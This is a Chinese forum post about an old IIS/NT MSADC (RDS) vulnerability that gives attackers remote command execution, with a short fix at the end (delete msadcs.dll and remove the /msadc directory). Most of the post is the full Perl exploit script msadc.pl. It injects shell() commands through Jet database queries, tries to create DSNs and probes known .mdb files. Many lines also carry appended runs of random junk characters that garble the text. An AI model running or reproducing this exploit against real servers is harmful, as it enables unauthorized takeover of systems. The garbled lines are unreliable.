社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167214阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) |Bf:pG!  
+h\W~muR  
涉及程序: GXv o't@N  
Microsoft NT server f'?6D+Yw~  
9 %.<V_$  
描述: yZPFo  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 K:mL%o2J  
H* JC`:  
详细: D*2p  
如果你没有时间读详细内容的话,就删除: $d"f/bRWy  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 1 069]  
有关的安全问题就没有了。 4Xb}I;rM  
i6\!7D]  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 odT7Gq  
3lrZ-k+S{  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 >|o9ggL`J5  
关于利用ODBC远程漏洞的描述,请参看: & b^*N5<Z  
B,na  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm x2IU PM  
JI#Enh!Lv  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 2KNKdV3NK  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp y2hFUq  
Hn]n]wsLy  
这里不再论述。 &DhA$o"'  
s!RA_%8/>  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 1AEVZ@(j7  
GWE0 UO}  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset R (Pa Q  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ^HN  
aKFA&Xnsl  
)LMuxj  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 7(+ZfY~w"  
t=\[J+  
#!perl 'L+BkE6+%  
# 9h0,L/;\  
# MSADC/RDS 'usage' (aka exploit) script rZCAj  
# `g:^KCGMM  
# by rain.forest.puppy ;7=J U^@D@  
# dcTM02kEh  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Am`A[rV0  
# beta test and find errors! o0+BQ&A)s*  
oX~$'/2v  
use Socket; use Getopt::Std; %-p{?=:K  
getopts("e:vd:h:XR", \%args); I)/7M}t`  
$m0x8<7nu  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; =4\~M"[p  
,( kXF:  
if (!defined $args{h} && !defined $args{R}) { {-]HYk  
print qq~ ='||BxB  
Usage: msadc.pl -h <host> { -d <delay> -X -v } A VG`r2T  
-h <host> = host you want to scan (ip or domain) v.&*z48  
-d <seconds> = delay between calls, default 1 second _*B~ESC0  
-X = dump Index Server path table, if available `} Zbfe~  
-v = verbose  p:>?  
-e = external dictionary file for step 5 +=04X F:  
ITY!=>S-  
Or a -R will resume a command session 4O"kOEkKT>  
>{) #|pWU  
~; exit;} _N#3lU?  
|a:VpM  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Uht:wEr  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ]~ eWr2uG?  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} GYmBxX87  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); }uj'BO2?  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} d3J_IW+8R$  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 2*DS_=6o  
V~"d`j  
if (!defined $args{R}){ $ret = &has_msadc; Z8 n%=(He  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} W$&Ets8zo  
/;m!>{({)  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" r&~iEO|?\  
. "cmd /c "; n\al}KG  
$in=<STDIN>; chomp $in; T eTOj|  
$command="cmd /c " . $in ; 9s6lt#?b  
[|O6n"'  
if (defined $args{R}) {&load; exit;} {+mkXp])R  
:=7;P)  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; bjX$idL  
&try_btcustmr; <Y'YpH`l  
w3UJw  
print "\nStep 2: Trying to make our own DSN..."; _ShJ3\,K  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; CPE F,,\  
s(LqhF[N2]  
print "\nStep 3: Trying known DSNs..."; #{cpG2Rs  
&known_dsn; T>o# *{q n  
)L("t  
print "\nStep 4: Trying known .mdbs..."; U>jk`?zW  
&known_mdb; 3;gtuqwD$  
[zd-=.:+M[  
if (defined $args{e}){ /s_$CSiB  
print "\nStep 5: Trying dictionary of DSN names..."; Ybg`Z  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } `3s-\>  
6_><W"r:]  
print "Sorry Charley...maybe next time?\n"; (pNng"/  
exit; j!n> d  
+Z0E?,Oz  
############################################################################## ADUI@#vk  
")buDU6_  
sub sendraw { # ripped and modded from whisker R6.#gb8^oS  
sleep($delay); # it's a DoS on the server! At least on mine... +34jot.!  
my ($pstr)=@_; )BrqE uX@"  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 3`q`W9  
die("Socket problems\n"); oob0^}^  
if(connect(S,pack "SnA4x8",2,80,$target)){ aJ@qB9(ZBe  
select(S); $|=1; ]}c=U@D,9  
print $pstr; my @in=<S>; $X]v;B)J|  
select(STDOUT); close(S); z:7F5!Z  
return @in; ?bA]U:  
} else { die("Can't connect...\n"); }} +'4dP#  
d0,F'?.0|  
############################################################################## dPX>A4wp  
He23<hd!  
sub make_header { # make the HTTP request \Nyxi7  
my $msadc=<<EOT o`Brr:  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 # =3]bg  
User-Agent: ACTIVEDATA 7[ji,.7  
Host: $ip C(+BrIS*  
Content-Length: $clen WR1,J0UU6  
Connection: Keep-Alive Ww4G  
@SB+u+mOS  
ADCClientVersion:01.06 r\`m[Q  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 s``L?9  
oI/ThM`=q  
--!ADM!ROX!YOUR!WORLD! i*>yUav"  
Content-Type: application/x-varg @h3)! #\ N  
Content-Length: $reqlen bm?TMhC  
1nmWL0  
EOT c:TP7"vG  
; $msadc=~s/\n/\r\n/g; =Ji:nEl]z  
return $msadc;} dj]N59<  
6*Qpq7Ml  
############################################################################## -lEh}r  
r"{1H  
sub make_req { # make the RDS request Ey%NqOs0#  
my ($switch, $p1, $p2)=@_; @]4s&;  
my $req=""; my $t1, $t2, $query, $dsn; |&Wo-;Ud  
y9<Fv|Ric  
if ($switch==1){ # this is the btcustmr.mdb query HPB1d!^  
$query="Select * from Customers where City=" . make_shell(); )YnN9"8  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ?Fv(4g  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Lo4t:H&  
h^,a 1'  
elsif ($switch==2){ # this is general make table query n4,J#h/  
$query="create table AZZ (B int, C varchar(10))"; %9M49 s  
$dsn="$p1";} #Xly5J  
iDJ2dM}v  
elsif ($switch==3){ # this is general exploit table query sJ=B:3jS0  
$query="select * from AZZ where C=" . make_shell(); {D< ?.'  
$dsn="$p1";} wl9icrR>  
LPF?\mf ^4  
elsif ($switch==4){ # attempt to hork file info from index server &9tsk#bA.g  
$query="select path from scope()"; O:)@J b2  
$dsn="Provider=MSIDXS;";} _aYQ(FO  
2ra4t]f6  
elsif ($switch==5){ # bad query hI 0l2OE  
$query="select"; qMOD TM~+  
$dsn="$p1";} `!N?#N:b)  
;GSj }Nq  
$t1= make_unicode($query); eNb =`  
$t2= make_unicode($dsn); s5e}X:  
$req = "\x02\x00\x03\x00"; 4G ?k31,k  
$req.= "\x08\x00" . pack ("S1", length($t1)); Sq%R  
$req.= "\x00\x00" . $t1 ; Vo()J4L  
$req.= "\x08\x00" . pack ("S1", length($t2)); KivzgNz  
$req.= "\x00\x00" . $t2 ; g> f394j  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; XlPy(>  
return $req;} pz+#1=b]  
?*=Jq  
############################################################################## 5 B6:pH6e  
(B5G?cB9  
sub make_shell { # this makes the shell() statement  3@*8\  
return "'|shell(\"$command\")|'";} u#<]>EtbB  
1)y}.y5S  
############################################################################## 4<|]k?@  
2z:9^a/]Na  
sub make_unicode { # quick little function to convert to unicode `'`XB0vb  
my ($in)=@_; my $out; \&fK8H1  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } R}FN6cH  
return $out;} G].Z| Z9  
1|--Xnv  
############################################################################## ]h6<o*  
tEl_A"^e  
sub rdo_success { # checks for RDO return success (this is kludge) }<p%PyM  
my (@in) = @_; my $base=content_start(@in); {1[8,Ho  
if($in[$base]=~/multipart\/mixed/){ %O k.XBS)  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} vHmn)d1pl  
return 0;} %0QYkHdFR`  
IV76#jL  
############################################################################## 2cL<`  
\Uiw: ,  
sub make_dsn { # this makes a DSN for us +FI]0r  
my @drives=("c","d","e","f"); t"Rn#V\c."  
print "\nMaking DSN: "; (#~063N,#  
foreach $drive (@drives) { +}]xuYzo  
print "$drive: "; K9c:K/H  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . GmFNL/x8-v  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" umk[\}Ip+P  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); PYGHN T  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; *P>F# ~X  
return 0 if $2 eq "404"; # not found/doesn't exist ~7|z2L  
if($2 eq "200") { ^<c?Ire  
foreach $line (@results) { wbTw\b=  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} <#sK~G  
} return 0;} x\WKsc  
NeH^g0Q2,g  
############################################################################## GI/o!0"_  
LvS`   
sub verify_exists { bA:abO  
my ($page)=@_; S:wmm}XQ  
my @results=sendraw("GET $page HTTP/1.0\n\n"); wXe.zLQ  
return $results[0];} CKK8 o9W  
1QThAFN  
############################################################################## = >9`qcNW_  
{8eNQ-4I  
sub try_btcustmr { _:J! |'  
my @drives=("c","d","e","f"); q4{ 6@q  
my @dirs=("winnt","winnt35","winnt351","win","windows"); o 0B`~7(  
gO29:L[t  
foreach $dir (@dirs) { \RJ428sxn  
print "$dir -> "; # fun status so you can see progress w5p+Yx=q  
foreach $drive (@drives) { [1Rs~T"  
print "$drive: "; # ditto ]*).3<Lw  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; #H|]F86(  
$reqlenlen=length( "$reqlen" ); &0'BCT  
$clen= 206 + $reqlenlen + $reqlen; 0=NB[eG  
PM{kiz^  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ?o2L  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} C.eZcNJG  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ,xGkE7=5  
FKPI{l  
############################################################################## !"Kg b;A  
i -+B{H  
sub odbc_error { HQ"D>hsuU  
my (@in)=@_; my $base; *&7Av7S  
my $base = content_start(@in); @<_4Nb  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this b?z8Yp6  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; LaRY#9  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8D-g%Aj-  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =73wngw  
return $in[$base+4].$in[$base+5].$in[$base+6];} uXXwMc<p  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; |,o!O39}>  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . c}QjKJ-c  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Vx'_fb?wap  
 C+_ NG  
############################################################################## _("{fJ,A  
o`G@Je_}x  
sub verbose { *x$\5;A  
my ($in)=@_; H'+P7*k#M  
return if !$verbose; !I@"+oY<  
print STDOUT "\n$in\n";} YQ&Xd/z-  
*+5AN306  
############################################################################## uCx\Bt"VI  
Pt E>08  
sub save { R ~#\gMs  
my ($p1, $p2, $p3, $p4)=@_; f5AK@]4G  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; AkGCIn3  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 9k1n-po  
close OUT;} %A04'dj`zQ  
.-{B  
############################################################################## w _n)*he)z  
z"|^Y|`m  
sub load { tJc9R2  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 94Z~]C  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); m8.sHw  
@p=<IN>; close(IN); 99vm7"5hQ  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); =F6J%$  
$target= inet_aton($ip) || die("inet_aton problems"); t68h$u  
print "Resuming to $ip ..."; bX8Bn0#a+  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; b2hB'!m  
if($p[1]==1) { -3A#a_fu  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; xI$B",?(  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 'F1NBL   
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); g9g^zd,  
if (rdo_success(@results)){print "Success!\n";} V#zDYrp  
else { print "failed\n"; verbose(odbc_error(@results));}} n>{ >3?  
elsif ($p[1]==3){ z6\Y& {  
if(run_query("$p[3]")){ sa{X.}i%E  
print "Success!\n";} else { print "failed\n"; }} kP3'BBd,  
elsif ($p[1]==4){ [/xw5rO%  
if(run_query($drvst . "$p[3]")){ lj(}{O  
print "Success!\n"; } else { print "failed\n"; }} KnKV+:"  
exit;} 7Q2"]f,$CQ  
\f .ceh;!  
############################################################################## 52=?! JM  
49cQA$Ad  
sub create_table { )=#QTiJ  
my ($in)=@_; zGF_ c9X  
$reqlen=length( make_req(2,$in,"") ) - 28; ,*Jm\u  
$reqlenlen=length( "$reqlen" ); !>TH#sU$  
$clen= 206 + $reqlenlen + $reqlen; wjDLsf,  
my @results=sendraw(make_header() . make_req(2,$in,"")); f3h^R20qmO  
return 1 if rdo_success(@results); 5#~u U  
my $temp= odbc_error(@results); verbose($temp); vzG(u_,9[  
return 1 if $temp=~/Table 'AZZ' already exists/; ^<Q+=\h  
return 0;} 6p])2]N>p  
VU9w2/cM  
############################################################################## =otJf~  
Nw* >$v  
sub known_dsn { ND77(I$3s  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go se2ay_<F+  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 6"b =aPTi  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", @Pb!:HeJE  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); U:"E:Bxz;m  
30bScW<08  
foreach $dSn (@dsns) { :A.dlesv6  
print "."; /Ii a>XY  
next if (!is_access("DSN=$dSn")); 4vQ]7`I.f  
if(create_table("DSN=$dSn")){ sz9C':`W  
print "$dSn successful\n"; 0x*L"HD  
if(run_query("DSN=$dSn")){ _gxI=EYi  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _Gv n1"l  
print "Something's borked. Use verbose next time\n";}}} print "\n";} |5^tp  
e4ym6q<6!  
############################################################################## kO>F, M  
.IXkdy  
sub is_access { |]y]K%  
my ($in)=@_; v!JQ;OX  
$reqlen=length( make_req(5,$in,"") ) - 28; BxVo>r  
$reqlenlen=length( "$reqlen" ); 0rP`BK|  
$clen= 206 + $reqlenlen + $reqlen; $9)|cO  
my @results=sendraw(make_header() . make_req(5,$in,"")); 'tm%3` F  
my $temp= odbc_error(@results); T*e>_\Tx  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Zl^#U c"  
return 0;} }&M$  
;H}XW=vO  
############################################################################## ,'N8Ivt  
F l@%?  
sub run_query { {@ ygq-TZ  
my ($in)=@_; C7:;<<"P  
$reqlen=length( make_req(3,$in,"") ) - 28; VPBlU  
$reqlenlen=length( "$reqlen" ); 9Kf# jZ  
$clen= 206 + $reqlenlen + $reqlen; {]ie|>'=C  
my @results=sendraw(make_header() . make_req(3,$in,"")); J=Q?_$xb}  
return 1 if rdo_success(@results); u2}zRC=  
my $temp= odbc_error(@results); verbose($temp); &]~Vft l  
return 0;} qn=~4rg]R  
I*hCIy#;  
############################################################################## ]rU$0)VN  
$ReoIU^<  
sub known_mdb { SFP%UfM<  
my @drives=("c","d","e","f","g"); V 3?x_pp  
my @dirs=("winnt","winnt35","winnt351","win","windows"); L Vt{`   
my $dir, $drive, $mdb; v 9\2/B  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; h' #C$i  
FyY<Vx'yQ  
# this is sparse, because I don't know of many M`{~AIqd(  
my @sysmdbs=( "\\catroot\\icatalog.mdb", %an"cQ ]  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", &Cv0oi&B  
"\\system32\\certmdb.mdb", <O+T4.z  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ;]XKe')  
G>Uam TM  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", pH!e<m  
"\\cfusion\\cfapps\\forums\\forums_.mdb", MOp06  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", fg}&=r  
"\\cfusion\\cfapps\\security\\realm_.mdb", C 0@tMB7  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", MhT.Zg\  
"\\cfusion\\database\\cfexamples.mdb", ti%uyXfja  
"\\cfusion\\database\\cfsnippets.mdb",  # ub!  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", OZ2YflT  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", NWx.l8G  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ;]/>n:[ E  
"\\cfusion\\database\\smpolicy.mdb", "kH Ft|%@  
"\\cfusion\\database\cypress.mdb", zPWJ=T@N  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", j6@5"wx  
"\\website\\cgi-win\\dbsample.mdb", 0H;,~ WY  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", fiG/ "/u  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" gN./u   
); #these are just _\mMgZu  
foreach $drive (@drives) { %uA\Le  
foreach $dir (@dirs){ [(Jj@HlP6T  
foreach $mdb (@sysmdbs) { GBMCw  
print "."; \l$gcFXb  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ x.J% c[Q8  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; k(As^'>  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 1"7Rs}l7  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; e&*< "WN  
} else { print "Something's borked. Use verbose next time\n"; }}}}} |^ K"#K  
h0;PtQb1  
foreach $drive (@drives) { 2pu8')'P  
foreach $mdb (@mdbs) { g3*" ^C2=  
print ".";  J^"  
if(create_table($drv . $drive . $dir . $mdb)){ BC}+yS \  
print "\n" . $drive . $dir . $mdb . " successful\n"; oz54IO  
if(run_query($drv . $drive . $dir . $mdb)){ ciQG.]  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; pyvZ[R 9  
} else { print "Something's borked. Use verbose next time\n"; }}}} q].n1w [  
} &tKr ?l  
WcE{1&PXx  
############################################################################## L!fiW`>0G  
*p&c}2'  
sub hork_idx { 8Df(|>mK  
print "\nAttempting to dump Index Server tables...\n"; qQz f&"  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; "otks\I<  
$reqlen=length( make_req(4,"","") ) - 28; &2i3"9k  
$reqlenlen=length( "$reqlen" ); N^u,C$zP9C  
$clen= 206 + $reqlenlen + $reqlen; dM|&Y6  
my @results=sendraw2(make_header() . make_req(4,"","")); 7*D*nY4+  
if (rdo_success(@results)){ MJxTzQE  
my $max=@results; my $c; my %d; 9t`   
for($c=19; $c<$max; $c++){  Xn<~ln  
$results[$c]=~s/\x00//g; #:C?:RMS  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; {OK+d#=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; EKwA1,Xz  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; x^s2bb  
$d{"$1$2"}="";} Cq-d,  
foreach $c (keys %d){ print "$c\n"; } -5v2E-  
} else {print "Index server doesn't seem to be installed.\n"; }} HW0EPJ  
Ai99:J2k  
############################################################################## 4s{_(gy  
y]z^e\qc)  
sub dsn_dict { WGG Va  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); mn5"kYy?  
while(<IN>){ M@LI(;  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; H\Bh Af  
next if (!is_access("DSN=$dSn")); +@ '( N  
if(create_table("DSN=$dSn")){ UD 0v ia  
print "$dSn successful\n"; WGxe3(d  
if(run_query("DSN=$dSn")){ [8T  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { JjH#,@'.  
print "Something's borked. Use verbose next time\n";}}} -85]x)JE  
print "\n"; close(IN);} ~hJ/&,vH!  
]{` 8C  
############################################################################## 8UA bTqB-  
8(GH.)I+0  
sub sendraw2 { # ripped and modded from whisker Mo4#UV  
sleep($delay); # it's a DoS on the server! At least on mine... <ZF,3~v?  
my ($pstr)=@_; F0 cde  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || %TO=]>q  
die("Socket problems\n"); %D::$,;<<  
if(connect(S,pack "SnA4x8",2,80,$target)){ ^iWcuh_n  
print "Connected. Getting data"; }8+rrzMUB  
open(OUT,">raw.out"); my @in; ,d^ze=  
select(S); $|=1; print $pstr; &3jq'@6  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} [gZz'q&[)  
close(OUT); select(STDOUT); close(S); return @in; j_r?4k  
} else { die("Can't connect...\n"); }} 37 #|X*L  
KK}?x6wV0,  
############################################################################## 7N@4c   
P|rsq|',  
sub content_start { # this will take in the server headers Afpj*o  
my (@in)=@_; my $c; i&|fGX?-I  
for ($c=1;$c<500;$c++) { gH{X?  
if($in[$c] =~/^\x0d\x0a/){ &) '5_#S  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } .Pp;%  
else { return $c+1; }}} mPl2y3m%  
return -1;} # it should never get here actually t#kPEiD  
i\4Qv"%  
############################################################################## ||{V*"+\  
5kX#qT=  
sub funky { uVO*@Kj+  
my (@in)=@_; my $error=odbc_error(@in); Pc= S^}+  
if($error=~/ADO could not find the specified provider/){ UKIDFDn6_  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; cBgdBPDa  
exit;} zjyj,jP  
if($error=~/A Handler is required/){ 8{mQmG4  
print "\nServer has custom handler filters (they most likely are patched)\n"; h)O<bI8  
exit;} WYHr'xJ  
if($error=~/specified Handler has denied Access/){ `5y+3v~"  
print "\nServer has custom handler filters (they most likely are patched)\n"; /(`B;?  
exit;}} t>04nN_@,s  
M?61g(  
############################################################################## ^ X&`:f  
W{0gtT0  
sub has_msadc {  QuJ~h}k  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); {nyQ]Nu"  
my $base=content_start(@results); cfb8kNn~+  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); XM0;cF  
return 0;} 'f+g`t?  
3f 1@<7*  
######################## (-V=&F_  
=Mg/m'QI  
HA +EuQE"  
解决方案: b!>w4MPe  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll :z;}:+7n  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章  eRlJ  
J- %YmUc)  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八